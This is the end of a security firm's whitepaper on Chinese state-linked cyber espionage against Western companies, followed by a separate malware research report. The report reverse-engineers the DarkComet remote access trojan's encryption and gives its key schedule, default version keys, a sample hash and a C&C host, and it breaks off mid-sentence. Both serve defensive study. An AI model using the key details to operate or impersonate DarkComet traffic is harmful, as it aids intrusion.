Hidden Dragon, Stolen Data and becoming a national or global champion in its sector, so it may be willing to extend help through the leveraging of intelligence sources. Note the list of companies and sectors in Appendix A: it is clear that the companies on the list all have interests in areas which will support the Five Year Plan and Indigenous Innovation. Hypothetical Case Study: Aircraft Construction One good example of how the Party could use its intelligence collection methods to benefit an SOE is seen in the case of COMAC16, the Commercial Aircraft Corporation of China. COMAC is currently trying to build a large aircraft to compete with the likes of Boeing and Airbus. In an excellent in-depth paper on Indigenous Innovation17, the US Chamber of Commerce and strategic consulting firm ACPO Worldwide18 detail the desire of China to build an aircraft since the crash (and subsequent re-engineering) of a Pakistan Airlines Boeing 707 in 1971. The re-engineered plane named the Yun-10 was a complete failure as China did not at that time possess all the necessary technology required to make it a success. With a rise in the use of air transport within China, domestic carriers are being forced to buy foreign aircraft at enormous cost, whereas a home-grown aircraft could be sold much more cheaply. The COMAC C91919 is designed to rival the Boeing 737 and Airbus A320 and planned to be operating by 2015, and to encourage foreign companies to share their technology, China has promised access to the market. Companies including Parker Aerospace, General Electric, Honeywell and Goodrich have all signed up. Whether they benefit from this move in the long term, or are instead encouraged to leave once they have been bled dry of useful information, remains to be seen. But for all the help they are getting, Chinese engineers are not yet able to access the technology developed by Boeing and Airbus, or by large aeroplane engine suppliers such as Rolls Royce. We know therefore that there is intent to build a domestic airliner and that previously reengineering has been attempted. Technology transfer is ongoing at the moment, but how (hypothetically) could computer network exploitation attacks help China achieve its goal? It is hard to imagine that a project of that size would not be given some assistance by the government, given that there is national pride at stake. If intelligence or military resources could be directed against Boeing and Airbus networks there would be some very quick wins. Not only could design documents and technical information be stolen en masse and without the need to actually deal with the company, but there could be some weak links in the supply chains of these companies which would help an attacker to penetrate their networks. First, smaller suppliers would provide an easy target from where attacks could be launched directly, spoofing emails with Trojans to improve the chance of recipients opening them. Second, both companies have facilities in China, presumably with network connectivity which may provide a direct route into the main network. There are also Chinese citizens working for the two target organisations who could be tasked to download something nefarious or plug in a USB drive to help their country. 16 http://english.comac.cc/ 17 http://www.uschamber.com/sites/default/files/reports/100728chinareport_0.pdf 18 http://www.apcoworldwide.com/ 19 http://en.wikipedia.org/wiki/Comac_C919 Context Information Security 30 Marsh Wall, London, E14 9TP +44 (0) 207 537 7515 www.contextis.com 19 / 33 Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data Finally all large organisations share large amounts of their data with third parties such as law firms and consultants; companies that may not protect their networks as effectively as the target company. These data aggregators can present a major vulnerability in the security of sensitive data. The end goal of the project is to sell the aircraft worldwide and to undercut the established suppliers. COMAC could achieve this by using lines of credit at favourable rates from the Chinese banks that would help to make deals cheaper for airlines purchasing aircraft. But what really helps these companies undercut foreign rivals is that they have not needed to spend huge amounts of money on R&D to get the plane off the ground in the first place. If designs for the body of the aircraft could be stolen along with aerodynamic information it would cut development time by years; and by billions of dollars. If stolen engine designs were also used that would cut costs further still. Even if the companies from whom this technology had been stolen were able to see that it had been stolen, they would only be able to take limited action in response; and to do so could put at risk their continued ability to operate or sell in China. The list of SOEs in Appendix A is dominated by transport companies (rail, aerospace and shipping), energy (petrochemical, nuclear, power generation/distribution, hydro), telecoms (mobile, infrastructure), manufacturing, extraction/metals (coal, iron, steel, minerals, aluminium) and trading companies. If a company has been targeted by Chinese state sponsored cyber espionage, we believe that any information stolen probably ends up in one of these SOEs. While China is able to manipulate market conditions in various ways to help SOEs prosper, nothing would contribute more to their growth and success than a supply of inside information about the activities of their competitors and customers. Context Information Security 30 Marsh Wall, London, E14 9TP +44 (0) 207 537 7515 www.contextis.com 20 / 33 Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data Conclusion This situation has not developed overnight. These attacks have been going on for years: many reports detail intrusions going back to 2003 and earlier. It is quite possible that the targets of early attacks were merely foreign governments and dissidents and that the range of targets only broadened with the opening of the Chinese economy and an increased demand for intelligence to support business growth and projects of national importance. The more success the attackers had, the more that demand grew. While China continues to carry out cyber attacks on companies throughout the rest of the world and these attacks continue either unnoticed or unpunished, there is no incentive for China to stop. The more that stolen data is exploited for the benefit of companies and the government, the greater the incentive to continue with these operations. Governments and large companies do not appear to be making much headway in solving this problem. For large corporations in the West, where there is a tendency to focus more on the short term and on personal achievement rather than the long term advancement of the state, the potential riches which trade with China offers are so large that turning a blind eye to data theft may seem a reasonable price to pay. Governments dare not risk isolation from China for economic and political reasons. Norway has recently been shut out of Chinese relations after awarding the Nobel Peace Prize to a jailed Chinese dissident Liu Xiaobo20. Its trade links with China are minimal, so it can afford to do this, but few other countries would feel able to do the same. A combination of this reluctance to act, chronic under-investment in IT and a lack of user education about how to spot the warning signs of a potential attack means companies and organisations are extremely vulnerable. In order to start rectifying the problem there is a need in the first instance to understand the problem. There needs to be an acceptance that this problem is not going to go away, that this is a business risk not at IT issue. Doing business with China carries extra risk in terms of data security and traditional security products are unable to defend your data against this type of attack. Investigation of compromises needs to be thorough and conducted by people familiar with this problem and not simply the technical aspects of it. Above all sensitive data must be segregated it is not possible to defend everything. The reason targeted attacks pose such a dangerous threat is that these are not viruses which simply spread and act according to a set of defined rules in the software. There are human beings directing these attacks in a much more active way. They have been given specific duties and will not stop what they are doing until someone tells them to do so. If your data is of interest today, it will still be of interest tomorrow. If you have been attacked once and somehow managed to stop it, you have only stopped one instance of the attack, not the attack as a whole. The malware used simply provides a foothold in the network, an initial point of access through which other tools can be uploaded to allow attackers access over the longer term, to navigate through the network until they find the data of interest to them. If one technique doesn t work, they will adapt their methods and raise their game until they have success. It may be that one day western governments will decide that if you can t beat them, join them and develop similar capabilities to be used against foreign governments and 20 http://www.bbc.co.uk/news/world-asia-pacific-11505164 Context Information Security 30 Marsh Wall, London, E14 9TP +44 (0) 207 537 7515 www.contextis.com 21 / 33 Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data companies. We can only speculate as to how China might react to the large-scale targeting of its own companies and institutions. As for now, we have limited evidence of large companies failing as a direct result of the attacks, though there seems to be consensus that Chinese intrusions at least contributed to the downfall of one time telecoms giant Nortel21. We do not yet know how many others may follow. 21 http://www.cbc.ca/news/world/story/2012/02/15/nortel-hacking-shields-as-it- happens.html Context Information Security 30 Marsh Wall, London, E14 9TP +44 (0) 207 537 7515 www.contextis.com 22 / 33 Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data About Context Context Information Security is an independent security consultancy specialising in both technical security and information assurance services. The company was founded in 1998. Its client base has grown steadily over the years, thanks in large part to personal recommendations from existing clients who value us as business partners. We believe our success is based on the value our clients place on our productagnostic, holistic approach; the way we work closely with them to develop a tailored service; and to the independence, integrity and technical skills of our consultants. Context are ideally placed to work with clients worldwide with offices in the UK, Australia and Germany. The company s client base now includes some of the most prestigious blue chip companies in the world, as well as government organisations. The best security experts need to bring a broad portfolio of skills to the job, so Context has always sought to recruit staff with extensive business experience as well as technical expertise. Our aim is to provide effective and practical solutions, advice and support: when we report back to clients we always communicate our findings and recommendations in plain terms at a business level as well as in the form of an in-depth technical report. Context Information Security 30 Marsh Wall, London, E14 9TP +44 (0) 207 537 7515 www.contextis.com 23 / 33 Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data Appendix Company Name Website China National Nuclear Corporation http://www.cnnc.com.cn China Nuclear Engineering Group Corporation http://www.cnecc.com China Aerospace Science and Technology Corporation http://www.spacechina.com China Aerospace Science and Industry Corporation http://www.casic.com.cn Aviation Industry Corporation of China http://www.avic.com.cn China State Shipbuilding Corporation http://www.cssc.net.cn China Shipbuilding Industry Corporation http://www.csic.com.cn China North Industries Group Corporation http://www.norincogroup.com.cn China South Industries Group Corporation http://www.csgc.com.cn China Electronics Technology Group Corporation http://www.cetc.com.cn China National Petroleum Corporation http://www.cnpc.com.cn/cn China Petrochemical Corporation http://www.sinopecgroup.c Context Information Security 30 Marsh Wall, London, E14 9TP +44 (0) 207 537 7515 www.contextis.com 24 / 33 Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data Company Name Website China National Offshore Oil Corporation http://www.cnooc.com.cn State Grid Corporation of China http://www.sgcc.com.cn China Southern Power Grid Co., Ltd. http://www.csg.cn China Huaneng Group http://www.chng.com.cn China Datang Corporation http://www.china-cdt.com China Huadian Corporation http://www.chd.com.cn China Guodian Corporation http://www.cgdc.com.cn China Power Investment Corporation http://www.cpicorp.com.cn China Three Gorges Corporation http://www.ctgpc.com.cn/ Shenhua Group Corporation Limited http://www.shenhuagroup.com.cn China Telecommunication s Corporation http://www.chinatelecom.com.cn China United Network Communications Group Co., Ltd. http://www.chinaunicom.com.cn China Mobile Communications Corporation http://www.10086.cn China Electronics Corporation http://www.cec.com.cn China FAW Group Corporation http://www.faw.com.cn Context Information Security 30 Marsh Wall, London, E14 9TP +44 (0) 207 537 7515 www.contextis.com 25 / 33 Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data Company Name Website Dongfeng Motor Corporation http://www.dfmc.com.cn China First Heavy Industries http://www.cfhi.com China National Erzhong Group Co. http://www.chinaerzhong.com Harbin Electric Corporation http://www.hpec.com Dongfang Electric Corporation http://www.dongfang.com Anshan Iron and Steel Group Corporation http://www.ansteelgroup.com Baosteel Group Corporation http://www.baosteel.com Wuhan Iron and Steel (Group) Corporation http://www.wisco.com.cn Aluminum Corporation of China http://www.chalco.com.cn China Ocean Shipping (Group) Company http://www.cosco.com China Shipping (Group) Company http://www.cnshipping.com China National Aviation Holding Company http://www.airchinagroup.com China Eastern Air Holding Company http://www.ceair.com China Southern Air Holding Company http://www.csair.cn Sinochem Group http://www.sinochem.com COFCO Limited http://www.cofco.com China Minmetals Corporation http://www.minmetals.com.cn Context Information Security 30 Marsh Wall, London, E14 9TP +44 (0) 207 537 7515 www.contextis.com 26 / 33 Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data Company Name Website China General Technology (Group) Holding, Limited http://www.genertec.com.cn China State Construction Engineering Corporation http://www.cscec.com China Grain Reserves Corporation http://www.sinograin.com.cn State Development & Investment Corp. http://www.sdic.com.cn China Merchants Group http://www.cmhk.com China Resources http://www.crc.com.hk China National Travel Service (HK) Group Corporation [China Travel Service (Holdings) Hong Kong Limited] http://www.hkcts.com State Nuclear Power Technology Corporation Ltd. http://www.snptc.com.cn Commercial Aircraft Corporation of China, Ltd. http://www.comac.cc China Energy Conservation and Environmental Protection Group http://www.cecic.com.cn China International Engineering Consulting Corporation http://www.ciecc.com.cn China Huafu Trade & Development Group Corp. http://www.hfjt.com.cn China Chengtong Holdings Group Ltd. http://www.cctgroup.com.cn Context Information Security 30 Marsh Wall, London, E14 9TP +44 (0) 207 537 7515 www.contextis.com 27 / 33 Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data Company Name Website China National Coal Group Corp. http://www.chinacoal.com China Coal Technology & Engineering Group Corp. http://www.ccteg.cn China National Machinery Industry Corporation http://www.sinomach.com.cn China Academy of Machinery Science & Technology http://www.cam.com.cn Sinosteel Corporation http://www.sinosteel.com China Metallurgical Group Corporation http://www.mcc.com.cn China Iron & Steel Research Institute Group http://www.cisri.com.cn China National Chemical Corporation http://www.chemchina.com China National Chemical Engineering Group Corporation http://www.cncec.cn Sinolight Corporation http://www.sinolight.cn China National Arts & Crafts (Group) Corporation http://www.cnacgc.com China National Salt Industry Corporation http://www.chinasalt.com.cn Huacheng Investment & Management Co., Ltd. Unknown China Hengtian Group Co., Ltd. http://www.chtgc.com Context Information Security 30 Marsh Wall, London, E14 9TP +44 (0) 207 537 7515 www.contextis.com 28 / 33 Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data Company Name Website China National Materials Group Corporation Ltd. http://www.sinoma.cn China National Building Materials Group Corporation http://www.cnbm.com.cn China Nonferrous Metal Mining (Group) Co., Ltd. http://www.cnmc.com.cn General Research Institute for Nonferrous Metals http://www.grinm.com Beijing General Research Institute of Mining & Metallurgy http://www.bgrimm.com China International Intellectech Corporation http://www.ciic.com.cn China Academy of Building Research http://www.cabr.com.cn China North Locomotive and Rolling Stock Industry (Group) Corporation http://www.chinacnr.com China South Locomotive & Rolling Stock Corporation Limited http://www.csrgc.com.cn China Railway Signal & Communication Corporation http://www.crsc.cn China Railway Group Limited http://www.crecg.com China Railway Construction Corporation Limited http://www.crcc.cn Context Information Security 30 Marsh Wall, London, E14 9TP +44 (0) 207 537 7515 www.contextis.com 29 / 33 Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data Company Name Website China Communications Construction Company Limited http://www.ccgrp.com.cn Potevio Company Limited http://www.potevio.com China Academy of Telecommunication and Technology http://www.datanggroup.cn China National Agricultural Development Group Co., Ltd. http://www.cnadc.com.cn Chinatex Corporation http://www.chinatex.com Sinotrans & CSC Holdings Co., Ltd. http://www.sinotrans-csc.com China National Silk Import & Export Corporation http://www.chinasilk.com China Forestry Group Corporation http://www.cfgc.cn China National Pharmaceutical Group Corporation http://www.sinopharm.com CITS Group Corporation http://www.citsgroup.com.cn China Poly Group Corporation http://www.citsgroup.com.cn Zhuhai ZhenRong Company http://www.zhzrgs.com.cn China Architecture Design & Research Group http://www.cadreg.com.cn China Metallurgical Geology Bureau http://www.cmgb.com.cn China National Administration of Coal Geology http://www.ccgc.cn Context Information Security 30 Marsh Wall, London, E14 9TP +44 (0) 207 537 7515 www.contextis.com 30 / 33 Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data Company Name Website Xinxing Cathay International Group Co., Ltd. http://www.xxcig.com China Travelsky Holding Company http://www.travelskyholding s.com China National Aviation Fuel Group Corporation http://www.cnaf.com China Aviation Supplies Holding Company http://www.casc.com.cn Power Construction Corporation of China http://www.zhongguodianjian.com China Energy Engineering Group Co., Ltd http://www.ceec.net.cn China National Gold Group Corporation http://www.chinagoldgroup.com China National Cotton Reserves Corporation http://www.cncrc.com.cn China Printing (Group) Corporation http://www.cpgc.cn China Guangdong Nuclear Power Holding Corporation Ltd. http://www.cgnpc.com.cn China Hualu Group Co., Ltd. http://www.hualu.com.cn Alcatel-Lucent Shanghai Bell Co., Ltd. http://www.alcatelsbell.com.cn IRICO Group Corporation http://www.ch.com.cn Context Information Security 30 Marsh Wall, London, E14 9TP +44 (0) 207 537 7515 www.contextis.com 31 / 33 Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data Company Name Website Wuhan Research Institute of Post and Telecommunication http://www.wri.com.cn OCT Group http://www.chinaoct.com Nam Kwong (Group) Company Limited http://www.namkwong.com China XD Group http://www.xd.com.cn China Railway Materials Commercial Corp. http://www.crmsc.com.cn China Reform Holdings Corporation Ltd. http://www.crhc.cn/n127514 92/index.html Context Information Security 30 Marsh Wall, London, E14 9TP +44 (0) 207 537 7515 www.contextis.com 32 / 33 Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data Context Information Security Ltd London (HQ) Cheltenham sseldorf Melbourne 4th Floor Corinth House Adersstr. 28, 1.OG Level 9, 440 Collins St 30 Marsh Wall 117 Bath Road D-40215 D sseldorf Melbourne London E14 9TP Cheltenham GL53 7LS Germany Victoria 3000 United Kingdom United Kingdom Context Information Security 30 Marsh Wall, London, E14 9TP Australia +44 (0) 207 537 7515 www.contextis.com 33 / 33 It's not the end of the world: DarkComet misses by a mile Reversing the DarkComet RAT's crypto- 3/13/2012 Jeff Edwards, Research Analyst, Arbor Networks ASERT In this article, we will continue our series on reversing DDoS malware crypto systems. Previous subjects have included Armageddon, Khan (now believed to be a very close "cousin" of Dirt Jumper version 5), and PonyDOS. Today we'll be diving deep into the details of DarkComet's crypto. Over the last several months, we have encountered a large number of DarkComet samples, numbering well over a thousand. DarkComet is primarily a general purpose remote access trojan (RAT). It's capabilities support quite an extensive laundry list of mischief, including but not limited to key logging, web cam (and sound card) spying, deleting victim files, scanning ports, hijacking MSN sessions, etc. Figure 1. Dark Comet's pretty logo Of course the malware includes DDoS capabilities as well - hence our interest in reversing its communications so that we can keep tabs on whom the DarkComet botnets are attacking. In fact, it is believed to have been used as a DDoS weapon by supporters of the Syrian regime against opposition forces in the recent Syrian uprisings; TrendMicro has a nice article /on this topic. DarkComet has been studied by a number of researchers. In particular, in November 2011 Laura Aylward of Contextis published an excellent analysis [http://www.contextis.com/research/blog/darkcometrat/ ] of Dark Comet in which she described the basic cryptographic mechanism used by DarkComet bots to hide their communications; Laura's analysis saved us a considerable amount of time. It was also included in Curt Wilson's recent survey of modern DDoS weapons . The DarkComet sample upon which we will primarily focus on today is 462,848 bytes in size and has an MD5 hash of 63f2ed5d2ee50e90cda809f2ac740244. It happens to be an instance of DarkComet Version 4.2; however, the results presented here apply to most other versions of DarkComet as well. When executed in a sandbox, we observed it connecting to a command & control (C&C) server at newrat2.noip.org on TCP port 1604. The RAT uses a raw TCP protocol to exchange information with its C&C; on the wire, the comms look something like this (modified and re-encrypted to protect some of our sensitive sandbox information): C&C: 155CAD31A61F Bot: 0F5DAB3EB308 C&C: 1B7D8D3BBF14C6B619480C265C2F4664F9DCB878EA7DFC6F2637 Bot: 35769F079329B4E04603496A432E5A7CFC90A477F478F07A3826A1B436AB92852B685636 F72B52C56D70434D7691F3307D637118B869586A1D19FD15B8C6AE14F8F8C57EFAFCCC09 964E8EE8EED553886AB188665F1AB96586F4F2581C093E75DCF2A8ADC817558BF3452344 0CDBE43CA4C05AC6E8D90D00F35BE795A44AE0E2EDE36C061EAEBD754461F680DBD9893A CF6211698AF22B0BBB92A9B47363AE86E69A08C29DD3DBA59D287E4A0E12664B312A81C0 E9FE4D6E538AB5CC8952CCB372869F57D168CE8ABB52B8D7F8E78547A5EB009931735868 Arbor Networks | 2 ADEC6BA2B73A94C7A9A6784B1A81C58CF746D384B645DD02D4616479A055420DADEF0458 658A33EEA62BF7F12ABF1C0E00CB6B971869FBC275A3270E8DEBFA20E53E8C3BC6CA2744 A88897E0B16FBBDCAA731B93A72D75FF6DC297 Bot: KEEPALIVE144357 Bot: C: KEEPALIVE160360 C&C: S: KeepAlive|27120274 Bot: C: KEEPALIVE176363 Bot: C: KEEPALIVE192366 C&C: S: KeepAlive|27160288 Figure 2. Example of DarkComet's encrypted comms These communications are consistent with those reported by Contextis in their DarkComet report. It certainly looks like an initial "phone home" exchange of information, after which the bot and C&C send periodic "Keep Alive" messages to each other. Besides being encrypted, this protocol is somewhat unusual in that the C&C sends the first payload; it is much more common for the bot to send the first payload. So in order to develop a tracker that impersonates a DarkComet bot so as to snoop on DDoS attacks, we need to reverse the malware's crypto system and write decryption and encryption routines in Python. Let's start reversing by loading a process memory dump of the running bot in IDA Pro. We'll then start poking around looking for routines that might implement the phone home protocol. Since DarkComet clearly uses raw TCP for communication (as opposed to, say, HTTP), we'll focus on finding WinSock2 calls such as socket(), connect(), send(), and recv(). Well, it turns out that the bot is riddled with vast numbers of WinSock2 calls; not surprising, since DarkComet has a great deal of RAT functions that require network communication. So to narrow down on the actual bot-C&C comms loop, we Arbor Networks | 3 locate the lengthy list of command strings, such as KeylogOn, GetOfflineLogs, WEBCAMLIVE, GetMsnList, DDOSHTTPFLOOD, etc. In particular, we note that all these command strings are referenced from the same function. Furthermore, this function is structured as a very long sequence of if-else statements that compare each of these command strings against the same buffer. Even better, there is only a single caller of this function. Hmmm, that certainly sounds like the bot's primary command dispatch routine; we'll call it DispatchCommands_sub_493DAC(). Checking out the caller function, we see that it operates in a loop. On each iteration through the loop, it basically performs the following actions: 1. Calls recv() to read network traffic into a buffer; 2. Performs some copies and operations on this buffer to produce an intermediate buffer; 3. Performs an operation (decryption perhaps?) on the intermediate buffer and a global string to produce a final buffer; 3. Passes the final buffer to the aforementioned DispatchCommands_sub_493DAC() function; Yes, this sounds like the main comms loop for which we are looking; we'll name this caller function MainCommsLoop_sub_493A30(), and focus our attention on the aforementioned loop: Arbor Networks | 4 Arbor Networks | 5 Figure 3. Function MainCommsLoop_sub_493A30() It definitely looks like a great candidate for the decryption operation. It follows the general structure that is quite common among bot families that encrypt their comms; namely, a pre-processing operation applied to a buffer, followed by the actual decryption step. In particular, one strong clue is that the (assumed) decryption step takes a third argument which, in this case, is a reference to a global string - very likely to be the decryption key string! So first let's see what our (tentatively named) DecryptCommandBuffer_sub_44C628() function looks like. DarkComet being a Delphi-based bot, the decryption function is passed the source (encrypted) buffer in EAX, the (presumed) crypto key in EDX, and an output string buffer in ECX. After checking to make sure neither the source nor key strings are empty, the function gets down to business. The first substantive operation is to pass the raw (encrypted) source buffer src_buf_var_4 via EAX, along with an output buffer temp_buf_var_420 via EDX, to function sub_44C1C0(); the output buffer is then copied back into the original source buffer src_buf_var_4: Figure 4. Function DecryptCommandBuffer_sub_44C628() Arbor Networks | 6 So sub_44C1C0() seems like it might be doing some pre-processing on the encrypted source buffer; let's see what kind of pre-processing it is doing. Skipping past the obligatory checks for empty source buffers, etc., we arrive at some code that loops over the source buffer, referenced by src_buf_var_4; however, it makes only one loop iteration for every two bytes in src_buf_var_4. This is accomplished by extracting the DWORD just in front of the source string and shifting it one bit to the right, in order to calculate the number of pairs of source characters: Figure 5. Function PreProcess_sub_44C1C0() Arbor Networks | 7 This works because in Delphi, the AnsiString class stores its length at an offset of 4 bytes in front of the first actual byte of string content: Figure 6. Structure of a Delphi AnsiString For example, in the case of the initial encrypted payload received by the bot from the C&C, 155CAD31A61F , the length of the source buffer is 12, so the code will make only 6 iterations through the loop. On each iteration of the loop, DarkComet will process a pair of two source bytes to yield one output byte. The first operation inside the loop is to test whether or not the value of the first source byte in the pair is greater than 0x39, and branch accordingly. After using the one-based index EBX to pull out the first of the two source bytes in the pair, it adds 0xD0, subtracts 0x0A, and then tests whether the resulting value is greater than or equal to zero. Since it is operating on the 8-bit register AL, the result is that source bytes with values of 0x3A or greater will be processed by one branch, and those with values of 0x39 and less will be processed by a second branch: Arbor Networks | 8 Figure 7. Function PreProcess_sub_44C1C0() If the first source byte in the pair has value 0x39 or less, the bot will subtract 0x30 from it and save the result to the current index within the output buffer: Arbor Networks | 9 Figure 8. Function PreProcess_sub_44C1C0() In other words, it will convert the ASCII representations (0x30, 0x31, ..., 0x39) of the digits 0 through 9 into their equivalent integer representations (0x00, 0x01, ..., 0x09). The second branch performs a similar operation: it first tests to make sure that the value of the source byte is not 0x47 or greater (in which case it will immediately bail out of the loop and jump to the end of the PreProcess_sub_44C1C0() function.) It will then subtract 0x37 from the source byte and save the result into the current index within the output buffer: Arbor Networks | 10 Figure 9. Function PreProcess_sub_44C1C0() Arbor Networks | 11 In other words, it will convert the ASCII representations (0x41, 0x42, ..., 0x46) of the upper-case letters A through F into their equivalent hexadecimal representations (0x0A, 0x0B, ..., 0x0F). The two branches (for handling digits and upper-case A through F) will then re-join, and the resulting integer/hexadecimal representation of the first source byte will be left-shifted by four (thus multiplying it by 16): Figure 10. Function PreProcess_sub_44C1C0() At this point, it is pretty clear what is going on. The PreProcess_sub_44C1C0() function is converting the ASCII representation of the source string of bytes into the equivalent hexadecimal representation. This conjecture is confirmed upon inspection of the remaining portion of the loop, which applies the same ASCII-to-hex operation on the second byte of each pair of source bytes, and adds the result to the left-shifted output from the first byte of the pair. So at the end of the day, the first line of raw encrypted source payload from the C&C is pre-processed from the 12-character ASCII string 155CAD31A61F to its equivalent sequence of six hexadecimal bytes 0x15 0x5C 0xAD 0x31 0xA6 0x1F, as follows: src index src (ASCII) src (raw) src (hex) shifted Arbor Networks | 12 0x31 0x35 0x35 0x43 0x41 0x44 0x33 0x31 0x41 0x36 0x31 0x46 0x01 0x05 0x05 0x0C 0x0A 0x0D 0x03 0x01 0x0A 0x06 0x01 0x0F 0x10 0x50 0xA0 0x30 0xA0 0x10 0x15 0x5C 0xAD 0x31 0xA6 0x1F Figure 11. ASCII to Integer Conversion So we will rename this function as Integerize_sub_44C1C0(), and head back to the main DecryptCommandBuffer_sub_44C628() function to continue reversing the crypto algorithm. After the raw source buffer has been converted from ASCII form to integer form, the next substantive code block initializes a 256-element array stable_var_41C: Arbor Networks | 13 Figure 12. Function DecryptCommandBuffer_sub_44C628() Each element in stable_var_41C is a 32-bit DWORD; the elements are initialized to the values 0x00000000 through 0x000000FF in ascending order: Index ESI Value subst_var_41C[ESI] ... 253 254 0x00 0x01 0x02 0x03 0x04 ... 0xFD 0xFE 0xFF Figure 13. Initial state of substitution table stable_var_41C At this point, we can guess that stable_var_41C is going to play the role of a substitution table for decrypting the source buffer src_buf_var_4, so let's see how DarkComet builds this table. After initializing the substitution table to hold all the values between 0x00 and 0xFF in a nice ascending order, it proceeds to vigorously scramble up the elements of the table. It makes 256 iterations through a loop; on each iteration, it swaps the positions of two of the elements in the substitution table. On the kth iteration, one of the swapped elements is always the kth element, which is pointed to by register ECX; the other is chosen based on the key string. The core of the loop that scrambles up the substitution table is as follows: Arbor Networks | 14 Arbor Networks | 15 Figure 14. Function DecryptCommandBuffer_sub_44C628() The first code block in the above IDA listing chooses which element of stable_var_41C should be swapped with the kth element. It uses an accumulator variable, implemented by register EBX and initialized to zero. On each pass through the loop, it updates the acccumulator EBX by adding to it the value of the kth element of stable_var_41C and the value of the current key string byte. One byte of key string is used per iteration, and whenever the key string is "used up", it restarts again at the beginning of the key; register EDI holds the length of the key string, so the bot just computes k modulo EDI (at instruction 0x0044C767) to choose which byte of the key to use on the kth iteration. The last code block performs the actual swapping, using swap_temp_var_15 as the temporary variable to do the swap. Once 256 such swaps have been performed, the loop exits and the substitution table stable_var_41C has been nicely scrambled and is ready for use. At this point, the actual process of decryption is performed. DarkComet iterates through its decryption loop once for each byte in the encrypted source message (after conversion from ASCII to integer representation.) The decryption loop performs the following two steps: First, it performs an additional scrambling operation on the substitution table stable_var_41C by swapping two elements. When processing the kth source byte, the first element of the swap pair is always the k+1th element of table stable_var_41C; it uses another accumulator variable, implemented by register EDI, to choose the second element of the swap pair: Arbor Networks | 16 Arbor Networks | 17 Figure 15. Function DecryptCommandBuffer_sub_44C628() After performing this swap operation, DarkComet finally decrypts a byte of message. It sums up the values of the two swapped elements (at instruction 0x0044C85F), then uses the result (modulo 256) to re-index into the stable_var_41C table to pull out a third element (at instruction 0x0044C874). This third element is XORed against the current (kth) source byte to produced a decrypted character. It should be pointed out that conceptually, this decryption mechanism - both the manner in which the substitution table is built, as well as how it is used for XOR-based decryption - is very similar to that used by the Trojan.PonyDOS malware family. The actual implementation has quite a few differences, but the basic encryption algorithm is the same. Trojan.PonyDOS, however, adds a few additional layers to secure its communications protocol above and beyond the core crypto algorithm which it shares with DarkComet; specifically, the computation of some cryptographic hashes. Also, Trojan.PonyDOS does not go to the trouble of converting its encrypted data payloads into ASCII representations as DarkComet does. Now that we've reversed the core DarkComet decryption mechanism (needed to read C&C commands), we'll want to confirm that the encryption mechanism (needed to read and/or fake bot phone home messages) is symmetric. And indeed, by following references to the socket handle used to recv() the initial C&C command, we can trace through to find the encryption routine called by DarkComet just prior to send()ing back its response messages. Sure enough, the encryption routine, Encrypt_sub_44C34C(), is functionally identical to the decryption routine, as hoped and expected; the only difference being that the Integerize_sub_44C1C0() routine prior to decryption is absent, and a new routine, which we'll call Integer2String_sub_409C6C(), is called following the encryption step; this routine simply converts the raw encrypted data back into the ASCII version of its hexadecimal values. Of course, in order to have a fully functional implementation of DarkComet's crypto system, we'll need to know what key strings it uses. We see that there are two locations where DecryptCommandBuffer_sub_44C628() is called, and one of those locations, EncryptData_sub_49D9EC(), has a hard-coded string with an uncanny resemblance to a decryption key: Arbor Networks | 18 Figure 16. Function EncryptData_sub_49D9EC() We see that the decryption string key_var_10, passed to DecryptCommandBuffer_sub_44C628() via EDX, is formed by concatenating a hard-coded string #KCMDDC42F#- with some mystery string stored at [EBX+8]. It turns out that this mysterious value stored at an offset from EBX is passed into EncryptData_sub_49D9EC() via the EAX register. Tracing backwards up the stack, we follow the reference to EAX as the baton is passed from register to register. It does not take long to come across the following routine, which we will label ComputeKeySuffix_sub_48F52C(): Arbor Networks | 19 Arbor Networks | 20 Figure 17. Function ComputeKeySuffix_sub_48F52C() You don't run into code like this very often. It receives an output buffer passed via EAX. It then uses register EBX to do some rather "inefficient" operations. First, it assigns EBX the value 0xFFFFFF8F, or -71. It then adds 1000 to EBX, yielding 887. Then it goes through four iterations of a loop that has no purpose other than to increment EBX by one on each iteration, resulting in a value of 891. Finally, it completes its laborious calculations by decrementing EBX by one, yielding a final answer of 890. This integer is passed to a standard integer-to-string API, which writes the string 890 into the output buffer. In C, these shenanigans would look something like the following: int nAddend = 1000; int nSuffix = -71; int nResult = nSuffix + nAddend; for (int k=0; k<4; k++) nResult += 1; sprintf(suffix, "%d", --nResult); This is a very roundabout way of assigning the hard-coded string 890 to a buffer. Clearly the DarkComet author is (wisely) trying to avoid having the entire decryption key string hard-coded in the bot executable. So at this point, we know that the decryption key is composed of the prefix #KCMDDC42F#- concatenated with the suffix 890, yielding #KCMDDC42F#-890. One final note regarding the encryption key strings used by DarkComet: as first documented in Contextis' Laura Aylward's DarkComet analysis, each version of DarkComet uses a different hard-coded string for the key prefix. For example, we have observed the following: Dark Comet version Version 4.0 Version 4.2 Arbor Networks | 21 Crypto Key Prefix (Default) #KCMDDC4#-890 #KCMDDC42F#-890 Version 5.0 #KCMDDC5#-890 Figure 18. Standard crypto key prefixes for DarkComet versions Furthermore, and also documented by Contextis, DarkComet supports the use of an optional password that is appended to the default (version-specific) crypto key. For example, the default password (if enabled) string is 0123456789. This 10digit string will be appended to the standard crypto key #KCMDDC42F#-890 (in the case of DarkComet version 4.2) to yield a final key of #KCMDDC42F#-8900123456789. The code that performs this concatenation is found in a routine we'll call FormCryptoKey_sub_49D2F4(): Figure 19. Function FormCryptoKey_sub_49D2F4() Arbor Networks | 22 This code concatenates the three components of the final crypto key: the hard-coded prefix (e.g., #KCMDDC42F#-), the three-digit string 890 that is not technically hard-coded but deterministically computed using the aforementioned ComputeKeySuffix_sub_48F52C() routine, and the optional botnet password stored in the global variable PWD_off_4A4B84. The password itself is actually stored as an encrypted resource. Upon initialization, it is decrypted using a preliminary crypto key 